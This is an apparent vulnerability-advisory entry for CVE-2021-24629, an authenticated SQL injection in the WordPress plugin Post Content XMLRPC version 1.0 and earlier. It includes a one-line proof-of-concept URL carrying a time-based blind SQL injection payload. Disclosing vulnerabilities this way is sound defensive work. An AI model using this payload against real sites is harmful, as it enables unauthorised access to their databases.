Lucene search
WpvulndbWPEX-ID:FB42980C-93E5-42D5-A478-C2B348EAEA67HistoryOct 07, 2021 - 12:00 a.m.
Post Content XMLRPC <= 1.0 - Admin+ SQL Injections
2021-10-0700:00:00
wpvulndb
127
xmlrpc
admin
sql injections
pcx_add_sites page
EPSS
0.001
Percentile
45.2%
The plugin does not sanitise or escape multiple GET/POST parameters before using them in SQL statements in the admin dashboard, leading to an authenticated SQL Injections
https://example.com/wp-admin/admin.php?page=pcx_add_sites&mode=add&id=1%20AND%20(SELECT%207953%20FROM%20(SELECT(SLEEP(5)))AgUn)Related
patchstack
patchstack
cvelist
cvelist
CVE-2021-24629 Post Content XMLRPC <= 1.0 - Admin+ SQL Injections
2021-11-08 17:34:52
nvd
nvd
CVE-2021-24629
2021-11-08 18:15:08
wpvulndb
wpvulndb
Post Content XMLRPC <= 1.0 - Admin+ SQL Injections
2021-10-07 00:00:00
cnvd
cnvd
WordPress Post Content XMLRPC plugin SQL injection vulnerability
2021-11-10 00:00:00
prion
prion
Sql injection
2021-11-08 18:15:00
cve
cve
CVE-2021-24629
2021-11-08 18:15:08